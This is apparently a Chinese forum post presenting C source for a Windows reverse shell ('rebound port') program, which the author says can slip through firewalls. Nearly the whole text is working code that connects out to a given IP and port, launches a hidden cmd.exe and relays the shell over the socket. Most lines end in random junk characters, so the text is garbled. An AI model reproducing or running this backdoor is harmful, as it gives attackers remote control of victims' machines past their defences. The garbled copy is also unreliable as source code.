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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 "j>0A Hem  
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/* ============================== y~[So ,G  
Rebound port in Windows NT uIwyan-  
By wind,2006/7 ~?r6Ax-R  
===============================*/ \/Y<.#?_  
#include uuB\~ #?T  
#include \O~P !`  
-nSqB{s!SD  
#pragma comment(lib,"wsock32.lib") p(>'4#|qy  
jnY4(B   
void OutputShell(); lHXH03  
SOCKET sClient; 4|thDb)]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `^[ra% a  
X}Fv*  
void main(int argc,char **argv) ".4^?d_^VF  
{ ZAwl,N){  
WSADATA stWsaData; 'l;|t"R12  
int nRet; uy~j$lrn  
SOCKADDR_IN stSaiClient,stSaiServer; @ XMC$s  
J)]W[Nk  
if(argc != 3) ~Ua0pS?  
{ $mlcaH  
printf("Useage:\n\rRebound DestIP DestPort\n"); hZy*E[i  
return; fBmx +7  
} ovp>"VuC  
|zE7W  
WSAStartup(MAKEWORD(2,2),&stWsaData); Pc<ZfO #  
^M"g5+ q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7=9jXNk Y  
(%1*<6ka  
stSaiClient.sin_family = AF_INET; 3@PVUJ0B|  
stSaiClient.sin_port = htons(0); lk|/N^8M  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _U %B1s3y  
y\x<!_&D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Aj_}B.  
{ -_+0[Nb.  
printf("Bind Socket Failed!\n"); n$QFj'  
return; "$_ypgRrSR  
} jBM>Pe^`3  
81&!!qhfS  
stSaiServer.sin_family = AF_INET;  NNX/2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  I g`#U~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 23PSv8;EM  
N ~Gh>{N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0#G"{M  
{ ^H'#*b0u  
printf("Connect Error!"); Oqyh{q%]  
return; !?96P|G  
} lc^%:#@  
OutputShell(); 8wOr`ho B  
} n~LR=o  
KE_Ze\ P  
void OutputShell() Y+E@afsKs  
{ 8cHZBM7'  
char szBuff[1024]; @0G} Q  
SECURITY_ATTRIBUTES stSecurityAttributes; +=O:z *O  
OSVERSIONINFO stOsversionInfo; KvgZx(.  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^U1;5+2G+~  
STARTUPINFO stStartupInfo; _+U`afV  
char *szShell; Tb[GZ,/%;  
PROCESS_INFORMATION stProcessInformation; z9gZ/d   
unsigned long lBytesRead; mEA w^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); OA8pao~H  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); nv={.H  
stSecurityAttributes.lpSecurityDescriptor = 0; <rkF2-K,  
stSecurityAttributes.bInheritHandle = TRUE; !vU[V,~  
_T1e##Sq,  
?FLjvmE9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); lm+wjhkN  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;J4_8N-  
,{%[/#~6  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %V$^CWOy  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z w0p}  
stStartupInfo.wShowWindow = SW_HIDE; 4B |f}7%\  
stStartupInfo.hStdInput = hReadPipe; hk~ s1"  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FIuKX"XR  
SXhJz=h  
GetVersionEx(&stOsversionInfo); dCinbAQ  
u`ZnxD>  
switch(stOsversionInfo.dwPlatformId) 3KqylC &.  
{ F/&&VSv>LO  
case 1: bv+PbK]iO  
szShell = "command.com"; !l}es4~.a  
break; u}pLO9V"`  
default: (|WqOwmoUt  
szShell = "cmd.exe"; J[^-k!9M  
break; a+Z/=YUR  
} CzwnmSv{.  
B${Q Y)t  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #jnb6v=5v  
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send(sClient,szMsg,77,0); LE Y$St  
while(1) G-Y8<mEh  
{ OH&&d=~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lK{h%2A\b  
if(lBytesRead) w|NLK  
{ gI[x OK#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -&+[/  
send(sClient,szBuff,lBytesRead,0); H=*;3gM,'  
} huO_ARwK'  
else 0;)4.*t  
{ 1B2>8 N  
lBytesRead=recv(sClient,szBuff,1024,0); t)5bHVx  
if(lBytesRead<=0) break; }e1f kjWk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L9@nx7D  
} =ove#3  
} `Os@/S  
"Ln)v   
return; E-CZk_K9  
}
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